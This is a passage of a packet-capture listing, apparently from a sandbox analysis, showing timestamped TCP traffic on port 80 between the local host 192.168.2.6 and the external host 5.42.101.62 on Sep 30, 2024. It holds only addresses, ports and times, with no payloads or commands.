Sep 30, 2024 13:59:22.580347061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580394983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580555916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580602884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580694914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580740929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580894947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580910921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580940008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580941916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580955029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580960989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580976963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580979109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580993891 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.581017017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.581918955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.581983089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582201004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582216978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582232952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582247972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582261086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582279921 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582448006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582463026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582496881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582509995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582607031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582653046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582672119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582712889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582813025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582859993 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582890034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.582930088 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.582997084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583044052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583132029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583146095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583159924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583178997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583198071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583216906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583235979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583251953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583252907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583276033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583282948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583291054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583293915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583312988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583313942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583328009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583332062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583343983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.583353043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583364964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.583380938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584358931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584381104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584405899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584409952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584420919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584424973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584436893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584446907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584450960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584464073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584466934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584481001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584481955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584496975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584511042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584511042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584527016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.584537983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.584567070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586333990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586350918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586365938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586385965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586412907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586419106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586433887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586448908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586453915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586463928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586492062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586512089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586513996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586529970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586544037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586555958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586559057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.586571932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.586587906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.587850094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587879896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587894917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587902069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.587924004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.587943077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587946892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.587959051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587974072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587982893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.587990046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.587997913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588016033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588037968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588061094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588076115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588088989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588103056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588104010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588119030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588126898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588135004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588154078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588179111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588253021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588294983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588329077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588344097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588359118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588368893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588373899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588385105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588390112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.588402033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588418007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.588432074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589303970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589318037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589339972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589350939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589361906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589364052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589379072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589380026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589394093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589399099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589411020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589417934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589438915 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589449883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589488983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589504004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589518070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589529991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589531898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589546919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589549065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589560986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589560986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589576006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589580059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589606047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589656115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589874983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589890003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589904070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589915991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589931011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589932919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589946985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589946985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589962959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589968920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.589977980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.589984894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590003967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590018988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590049028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590063095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590076923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590085983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590090990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590101004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590106010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590116978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590121031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590135098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590136051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590152025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590173006 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590751886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590775013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590790987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590801001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590814114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590820074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590835094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590837002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590851068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590859890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590867996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590876102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590893984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590908051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590914011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590929031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590943098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590950012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590958118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590965986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590974092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590981960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.590987921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.590998888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.591002941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.591016054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.591018915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.591032028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.591033936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.591051102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.591051102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.591067076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.591090918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592334032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592349052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592365026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592386007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592401981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592461109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592474937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592489004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592503071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592528105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592547894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592562914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592576981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592587948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592592001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.592613935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.592638016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593135118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593185902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593189955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593206882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593221903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593228102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593235970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593245029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593261957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593277931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.593343973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.593383074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597475052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597532034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597533941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597549915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597565889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597569942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597587109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597589970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597603083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597605944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597620964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.597625971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597642899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.597657919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615463018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615478039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615506887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615520000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615524054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615539074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615551949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615555048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615571022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615581989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615613937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615622044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615637064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615653038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615658998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615668058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615684032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615688086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615700006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615704060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615721941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.615731001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.615761995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.617836952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.617889881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.617930889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.617944956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.617959023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.617974043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.617980957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.617990017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.618004084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.618005991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.618020058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.618026972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.618047953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.618068933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.625874043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625888109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625916958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625932932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625936031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.625947952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625961065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.625961065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.625969887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625972986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.625986099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.625999928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.626018047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.626049042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.631973982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632008076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632020950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632030010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632035971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632059097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632071972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632083893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632087946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632114887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632117033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632131100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632132053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.632158995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.632168055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.637892008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.637949944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.637989044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.638015985 CEST	80	49721	5.42.101.62	192.168.2.6
